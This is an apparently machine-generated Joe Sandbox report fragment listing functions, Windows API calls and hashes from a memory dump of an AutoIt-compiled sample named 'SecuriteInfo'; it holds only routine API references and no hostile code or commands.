                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Heap$Process$AllocateInformationToken$CopyErrorFreeLastLength
                                      • String ID:
                                      • API String ID: 169236558-0
                                      • Opcode ID: cfb09afd79ea2edae3a7c4c3fa3a06806dd551bed90eccf9e902433479b653bd
                                      • Instruction ID: d7d1a289e8cdd9e6f97ebf189810c389df734455731ac20781a2533f59708798
                                      • Opcode Fuzzy Hash: cfb09afd79ea2edae3a7c4c3fa3a06806dd551bed90eccf9e902433479b653bd
                                      • Instruction Fuzzy Hash: 1B11B176616208FFDB109FA4CC49FEE776CFB4A395F144418E54297250D7369981DB20
                                      Function 008D3312 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • GetLastError.KERNEL32(?,?,008D3309,008D2F75), ref: 008D3320
                                      • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008D332E
                                      • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008D3347
                                      • SetLastError.KERNEL32(00000000,?,008D3309,008D2F75), ref: 008D3399
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLastValue___vcrt_
                                      • String ID:
                                      • API String ID: 3852720340-0
                                      • Opcode ID: b95b99d99851bd784bc267b53064260843962d631c5f84b83c8d41a3cbd99286
                                      • Instruction ID: 642436143bcb083a764eef9059aa7b48f834870033bc9c627a9246915f3932f0
                                      • Opcode Fuzzy Hash: b95b99d99851bd784bc267b53064260843962d631c5f84b83c8d41a3cbd99286
                                      • Instruction Fuzzy Hash: 7701B17361D311AFEA2827797D85A2A2B94FB15779320032FF114C53F1EF118D51A296
                                      Function 008E2D04 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • GetLastError.KERNEL32(?,?,008D4973,?,?,?,008D6502,?,?,?,?), ref: 008E2D08
                                      • _free.LIBCMT ref: 008E2D3B
                                      • _free.LIBCMT ref: 008E2D63
                                      • SetLastError.KERNEL32(00000000,?,?,?), ref: 008E2D70
                                      • SetLastError.KERNEL32(00000000,?,?,?), ref: 008E2D7C
                                      • _abort.LIBCMT ref: 008E2D82
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorLast$_free$_abort
                                      • String ID:
                                      • API String ID: 3160817290-0
                                      • Opcode ID: 3ebc0fd454ab0fb908ffedc4a66433ede444d49d2dbccd2498bbceea6dc0b6c2
                                      • Instruction ID: e23417c18f983ef1dfb6ef30a64fa531f288bffbe9c6e9ab2dc3bdbdb3761a3b
                                      • Opcode Fuzzy Hash: 3ebc0fd454ab0fb908ffedc4a66433ede444d49d2dbccd2498bbceea6dc0b6c2
                                      • Instruction Fuzzy Hash: 1DF0CD7674968967C261373FBC0AE1A275DFFC3764F354528F925D21D2EE248C025161
                                      Function 00948916 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008CAABF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 008CAB19
                                        • Part of subcall function 008CAABF: SelectObject.GDI32(?,00000000), ref: 008CAB28
                                        • Part of subcall function 008CAABF: BeginPath.GDI32(?), ref: 008CAB3F
                                        • Part of subcall function 008CAABF: SelectObject.GDI32(?,00000000), ref: 008CAB68
                                      • MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00948940
                                      • LineTo.GDI32(?,00000003,00000000), ref: 00948954
                                      • MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00948962
                                      • LineTo.GDI32(?,00000000,00000003), ref: 00948972
                                      • EndPath.GDI32(?), ref: 00948982
                                      • StrokePath.GDI32(?), ref: 00948992
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                      • String ID:
                                      • API String ID: 43455801-0
                                      • Opcode ID: 7e52b4012606703ec3b6a2ec318814342353a41b9520668d92ead7486a6cfdb7
                                      • Instruction ID: 1d07357072ac449397b9937d05a2e720ecd8023a990d0111e313551da0acf982
                                      • Opcode Fuzzy Hash: 7e52b4012606703ec3b6a2ec318814342353a41b9520668d92ead7486a6cfdb7
                                      • Instruction Fuzzy Hash: DD115B7600410CFFDF029F90DC88EAA7F6CEB09350F048011FA099A260C7729D55EBA0
                                      Function 00915153 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetDC.USER32(00000000), ref: 0091516E
                                      • GetDeviceCaps.GDI32(00000000,00000058), ref: 0091517F
                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00915186
                                      • ReleaseDC.USER32(00000000,00000000), ref: 0091518E
                                      • MulDiv.KERNEL32(000009EC,?,00000000), ref: 009151A5
                                      • MulDiv.KERNEL32(000009EC,00000001,?), ref: 009151B7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CapsDevice$Release
                                      • String ID:
                                      • API String ID: 1035833867-0
                                      • Opcode ID: 5e787359b3dc007b60f35da34a0e164b51246f9ea03a631b54cde0c262bc7526
                                      • Instruction ID: 4442956c4b08dd8ba5b2ea77229566979d17778089d1976db6526dc5ac060ee3
                                      • Opcode Fuzzy Hash: 5e787359b3dc007b60f35da34a0e164b51246f9ea03a631b54cde0c262bc7526
                                      • Instruction Fuzzy Hash: 16018FB9B45309BFEF109BB59C49F4EBFB8EB49751F014065FA04A7281D6709D00DBA0
                                      Function 008B34CE Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                      Download Yara Rule
                                      APIs
                                      • MapVirtualKeyW.USER32(0000005B,00000000), ref: 008B34FF
                                      • MapVirtualKeyW.USER32(00000010,00000000), ref: 008B3507
                                      • MapVirtualKeyW.USER32(000000A0,00000000), ref: 008B3512
                                      • MapVirtualKeyW.USER32(000000A1,00000000), ref: 008B351D
                                      • MapVirtualKeyW.USER32(00000011,00000000), ref: 008B3525
                                      • MapVirtualKeyW.USER32(00000012,00000000), ref: 008B352D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Virtual
                                      • String ID:
                                      • API String ID: 4278518827-0
                                      • Opcode ID: 9554aac5ffcfd91b5bcc72a1ae8ad9411a90073f0aa5ccd9f906a8af15998398
                                      • Instruction ID: 4c1d3c381b9c35f2d50fc33a93f1091fe4336558861a32cc6a4d9611ce59f26a
                                      • Opcode Fuzzy Hash: 9554aac5ffcfd91b5bcc72a1ae8ad9411a90073f0aa5ccd9f906a8af15998398
                                      • Instruction Fuzzy Hash: E70167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CFE5
                                      Function 0091EA3E Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0091EA4E
                                      • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0091EA64
                                      • GetWindowThreadProcessId.USER32(?,?), ref: 0091EA73
                                      • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0091EA82
                                      • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0091EA8C
                                      • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0091EA93
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                      • String ID:
                                      • API String ID: 839392675-0
                                      • Opcode ID: 40aa646258c7cd3c25479e17d450c71ad480f6b318e571bcf3ddeb31281feaf3
                                      • Instruction ID: cd5e6d5b9a85414dc3b10ab5876370a8e5e3ec9bcd1001f8696f441776f8b832
                                      • Opcode Fuzzy Hash: 40aa646258c7cd3c25479e17d450c71ad480f6b318e571bcf3ddeb31281feaf3
                                      • Instruction Fuzzy Hash: 07F090B6216159BFE7201B529C0EEEF3E7CEFCBB11F004118F601D1090D7A01A0196B4
                                      Function 0091C4EE Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B8FA0: _wcslen.LIBCMT ref: 008B8FA5
                                      • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0091C60C
                                      • _wcslen.LIBCMT ref: 0091C653
                                      • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0091C6BA
                                      • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0091C6E8
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ItemMenu$Info_wcslen$Default
                                      • String ID: 0
                                      • API String ID: 1227352736-4108050209
                                      • Opcode ID: 90a11643424ca83b0d0012c02657740cc2eda53500f6f5c639abd2848d002fa7
                                      • Instruction ID: 78a2ff887dba995834844ec349a41afa0d0554d30c1b99512c76393f5292c2d8
                                      • Opcode Fuzzy Hash: 90a11643424ca83b0d0012c02657740cc2eda53500f6f5c639abd2848d002fa7
                                      • Instruction Fuzzy Hash: D251FFB17483099BD7149F28C844BAB77ECEB85354F040A2DF995D32D1DBB4D9848B42
                                      Function 0093AC8B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON
                                      Download Yara Rule
                                      APIs
                                      • ShellExecuteExW.SHELL32(0000003C), ref: 0093ADCA
                                        • Part of subcall function 008B8FA0: _wcslen.LIBCMT ref: 008B8FA5
                                      • GetProcessId.KERNEL32(00000000), ref: 0093AE5F
                                      • CloseHandle.KERNEL32(00000000), ref: 0093AE8E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseExecuteHandleProcessShell_wcslen
                                      • String ID: <$@
                                      • API String ID: 146682121-1426351568
                                      • Opcode ID: e6425fe2a2d81d2847fb5529e6983786e015ed04ab5b06f6afe7c5ccd2340caf
                                      • Instruction ID: 46d32b16c8fd2e797e4df9569ce8f2c1e573ae4111a1c6fb8ccb964aaa003ae9
                                      • Opcode Fuzzy Hash: e6425fe2a2d81d2847fb5529e6983786e015ed04ab5b06f6afe7c5ccd2340caf
                                      • Instruction Fuzzy Hash: E4712575A00215DFCB14DF98C484A9EBBB5FF08310F048459E856AB3A2CB74ED40CF92
                                      Function 009170F4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 0091715C
                                      • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00917192
                                      • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 009171A3
                                      • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00917225
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorMode$AddressCreateInstanceProc
                                      • String ID: DllGetClassObject
                                      • API String ID: 753597075-1075368562
                                      • Opcode ID: 6dd44d2f087690f4abc4ef1a3c1ed420fa236782c36a046704b87b885b8edd54
                                      • Instruction ID: 3e78e8894dd416090801f253be6e015fa6807ecd97798e61378d6849b68b4370
                                      • Opcode Fuzzy Hash: 6dd44d2f087690f4abc4ef1a3c1ed420fa236782c36a046704b87b885b8edd54
                                      • Instruction Fuzzy Hash: 0941B0B170420AEFDF14CF94C884A9ABBB9EF49310B1489ADBC159F205D7B0D985DBA0
                                      Function 00943CAF Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00943D68
                                      • IsMenu.USER32(?), ref: 00943D7D
                                      • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00943DC5
                                      • DrawMenuBar.USER32 ref: 00943DD8
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$Item$DrawInfoInsert
                                      • String ID: 0
                                      • API String ID: 3076010158-4108050209
                                      • Opcode ID: 0b23a419316bdf01159e1900015e068ac2608bb901f910dcd2bcfd4d55c53306
                                      • Instruction ID: cf8c05ed3b6f5e0809d57064df65750494bc3d1cf1b87237767e07b33d30c281
                                      • Opcode Fuzzy Hash: 0b23a419316bdf01159e1900015e068ac2608bb901f910dcd2bcfd4d55c53306
                                      • Instruction Fuzzy Hash: ED4148B5A01209AFDB10DF64D885EEABBB8FF05354F148129F955A7390D331AE40DB60
                                      Function 00942E4A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00942EC0
                                      • LoadLibraryW.KERNEL32(?), ref: 00942EC7
                                      • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00942EDC
                                      • DestroyWindow.USER32(?), ref: 00942EE4
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$DestroyLibraryLoadWindow
                                      • String ID: SysAnimate32
                                      • API String ID: 3529120543-1011021900
                                      • Opcode ID: cfe25c3edced8aa3b72fe0b482b2c690e97a78a950a189a42548cb8d2b3e35f1
                                      • Instruction ID: b3aa598ed7f9412ac35b528e6a2fbb7d2f8e99b1e5b313b83f9bf499af15d477
                                      • Opcode Fuzzy Hash: cfe25c3edced8aa3b72fe0b482b2c690e97a78a950a189a42548cb8d2b3e35f1
                                      • Instruction Fuzzy Hash: 48219D71210206BFEB108F64DC84FBB77ADFF99768F914628FA50962A0D731DC91A760
                                      Function 008D4CFD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,008D4CAE,00000003,?,008D4C4E,00000003,009788C8,0000000C,008D4DA5,00000003,00000002), ref: 008D4D1D
                                      • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008D4D30
                                      • FreeLibrary.KERNEL32(00000000,?,?,?,008D4CAE,00000003,?,008D4C4E,00000003,009788C8,0000000C,008D4DA5,00000003,00000002,00000000), ref: 008D4D53
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: AddressFreeHandleLibraryModuleProc
                                      • String ID: CorExitProcess$mscoree.dll
                                      • API String ID: 4061214504-1276376045
                                      • Opcode ID: 16c43ab2aa96ee3c99a199946855a93806075bc408cd5389f4c7a7190ed946f2
                                      • Instruction ID: 9d5f2e6db1fe2ea3c089961f0c17ceef71beda4a578cde4fec7bafa2e04764cc
                                      • Opcode Fuzzy Hash: 16c43ab2aa96ee3c99a199946855a93806075bc408cd5389f4c7a7190ed946f2
                                      • Instruction Fuzzy Hash: 39F0AF74A15208BFDB509F91DC09FADBBB5EF89752F0001A9F909E2260DB315980DB90
                                      Function 008B6832 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNEL32(kernel32.dll,?,?,008B687F,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B683E
                                      • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 008B6850
                                      • FreeLibrary.KERNEL32(00000000,?,?,008B687F,?,00981418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 008B6862
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Library$AddressFreeLoadProc
